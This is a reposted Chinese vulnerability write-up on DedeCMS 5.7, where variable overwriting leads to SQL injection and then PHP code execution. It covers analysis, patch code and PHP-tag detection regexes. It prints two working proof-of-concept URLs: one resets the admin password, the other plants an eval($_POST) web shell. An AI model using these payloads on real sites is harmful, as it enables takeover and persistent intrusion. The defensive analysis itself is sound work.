dedeCMS /plus/ad_js.php、/plus/mytag_js.php Vul Via Injecting PHP Code By /plus/download.php Into DB && /include/dedesql.class.php


目錄

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響范圍
4. 漏洞代碼分析
5. 防御方法
6. 攻防思考

 

1. 漏洞描述

對於這個漏洞,我們可以簡單概括如下

1. "/plus/download.php"文件會引入"/include/common.inc.php"文件
2. "/include/common.inc.php"中會對用戶輸入的變量進行"變量本地注冊",如果注冊的變量未被顯式地初始化,則會導致本地變量覆蓋
3. "/include/common.inc.php"會引入"/include/dedesql.class.php"文件
4. 存在漏洞的"/include/dedesql.class.php""沒有"對$arrs1、$arrs2這兩個數組進行初始化,導致黑客可以通過外部的輸入覆蓋這2個變量
5. 黑客通過向"/plus/download.php"文件中POST入特殊構造的數據包,通過覆蓋$arrs1、$arrs2這兩個數組,最終污染"數據表前綴變量$cfg_",這個"數據表前綴變量$cfg_"會被帶入數據庫的SQL查詢語句中,導致SQL注入
6. "/plus/ad_js.php""/plus/mytag_js.php"會從數據庫中查詢出剛才被注入的PHP Code,將寫過寫入緩存文件中,並include執行,最終導致代碼執行

Relevant Link:

http://bbs.safedog.cn/thread-52264-1-1.html
http://www.2cto.com/Article/201205/129974.html
http://www.91ri.org/6462.html
http://phpinfo.me/2013/12/24/111.html


2. 漏洞觸發條件

1. POC: 修改管員密碼:
http://localhost/dedecms5.7/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
//登錄用戶spider密碼admin 

2. POC: 向數據庫插入后門
http://localhost/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35
//需要訪問plus/mytag_js.php/aid=1,會在plus目錄生成 x.php 密碼 m

3. "/include/dedesql.class.php""沒有"對$arrs1、$arrs2這兩個數組進行初始化
4. "/plus/ad_js.php""/plus/mytag_js.php"未對從數據庫查詢出的數據進行有效過濾、檢測

0x1: 手工驗證

http://localhost/dedecms5.7/plus/ad_js.php?aid=21


3. 漏洞影響范圍

1. DedeCMS v5.7
2. <= DedeCMS v5.7


4. 漏洞代碼分析
5. 防御方法

0x1: /include/dedesql.class.php

/* */ 
$arrs1 = array();
$arrs2 = array();

//特殊操作
if(isset($GLOBALS['arrs1']))
{
    $v1 = $v2 = '';
    for($i=0;isset($arrs1[$i]);$i++)
    {
        $v1 .= chr($arrs1[$i]);
    }
    for($i=0;isset($arrs2[$i]);$i++)
    {
        $v2 .= chr($arrs2[$i]);
    }
    $GLOBALS[$v1] .= $v2;
}
/* */

0x2: /plus/ad_js.php

...
function find_ad_payload($adbody, $aid)
{
    global $db;
    $express = "/<\?[^><]+(\?>){0,1}|<\%[^><]+(\%>){0,1}|<\%=[^><]+(\%>){0,1}|<script[^>]+language[^>]*=[^>]*php[^>]*>[^><]*(<\/script\s*>){0,1}/iU";
    if (preg_match($express, $adbody)) 
    {  
        $sql = " DELETE from `#@__myad` WHERE aid='$aid' ";
        $rs = $db->ExecuteNoneQuery($sql); 
        if( file_exists(DEDEDATA . '/cache/myad-'.$aid.'.htm') )
        {
            @unlink(DEDEDATA.'/cache/myad-'.$aid.'.htm');
        }
        die("Request Error!");  
    }  
}

if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(' Request Error! ');

$cacheFile = DEDEDATA.'/cache/myad-'.$aid.'.htm';
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{
    $row = $dsql->GetOne("SELECT * FROM `#@__myad` WHERE aid='$aid' ");
    $adbody = '';
    if($row['timeset']==0)
    {
        $adbody = $row['normbody'];
    }
    else
    {
        $ntime = time();
        if($ntime > $row['endtime'] || $ntime < $row['starttime']) {
            $adbody = $row['expbody'];
        } else {
            $adbody = $row['normbody'];
        }
    }

    find_ad_payload($adbody, $aid);
    ...

0x3: /plus/mytag_js.php

...
function find_tag_payload($tagbody, $aid)
{
    global $db;
    $express = "/<\?[^><]+(\?>){0,1}|<\%[^><]+(\%>){0,1}|<\%=[^><]+(\%>){0,1}|<script[^>]+language[^>]*=[^>]*php[^>]*>[^><]*(<\/script\s*>){0,1}/iU";
    if (preg_match($express, $tagbody)) 
    {  
        $sql = " DELETE from `#@__mytag` WHERE aid='$aid' ";
        $rs = $db->ExecuteNoneQuery($sql); 
        if( file_exists(DEDEDATA . '/cache/mytag-'.$aid.'.htm') )
        {
            @unlink(DEDEDATA.'/cache/mytag-'.$aid.'.htm');
        }
        die("Request Error!");  
    }  
}

if(isset($arcID)) $aid = $arcID;
$arcID = $aid = (isset($aid) && is_numeric($aid)) ? $aid : 0;
if($aid==0) die(" document.write('Request Error!'); ");

$cacheFile = DEDEDATA.'/cache/mytag-'.$aid.'.htm';
//die(var_dump($cacheFile));
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{ 
    $pv = new PartView();
    $row = $pv->dsql->GetOne(" SELECT * FROM `#@__mytag` WHERE aid='$aid' ");
    if(!is_array($row))
    {
        $myvalues = "<!--\r\ndocument.write('Not found input!');\r\n-->";
    }
    else
    {
        $tagbody = '';
        if($row['timeset']==0)
        {
            $tagbody = $row['normbody'];
        }
        else
        {
            $ntime = time();
            if($ntime>$row['endtime'] || $ntime < $row['starttime']) {
                $tagbody = $row['expbody'];
            }
            else {
                $tagbody = $row['normbody'];
            }
        }

        find_tag_payload($tagbody, $aid);

        $pv->SetTemplet($tagbody, 'string');
    ...

需要特別注意的是,對於dedecms數據庫后門的這個攻擊向量場景來說,防御代碼需要考慮以下幾個方面

1. PHP的起止標簽具有很強的靈活性
    1) <?php ... ?>
    2) <? ... ?>
    3) <script language="php">...</script>
    4) <?=expression ... ?>
    5) <% ... %>
    6) <%=$variable %>
2. PHP允許半開的標簽,即當PHP代碼和HTML代碼混編的時候,處於文件最末尾的PHP代碼不需要閉合標簽即可正確執行

0x4: 臟數據的清理

$cacheFile = DEDEDATA.'/cache/mytag-'.$aid.'.htm';
/* clear diety data */
if(file_exists($cacheFile))
{
    $tmpcheck = file_get_contents($cacheFile);
    find_tag_payload($tmpcheck, $aid);
} 
/* */
if( isset($nocache) || !file_exists($cacheFile) || time() - filemtime($cacheFile) > $cfg_puccache_time )
{ 

ad_js.php的思路類似


6. 攻防思考

暫無

Copyright (c) 2014 LittleHann All rights reserved

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM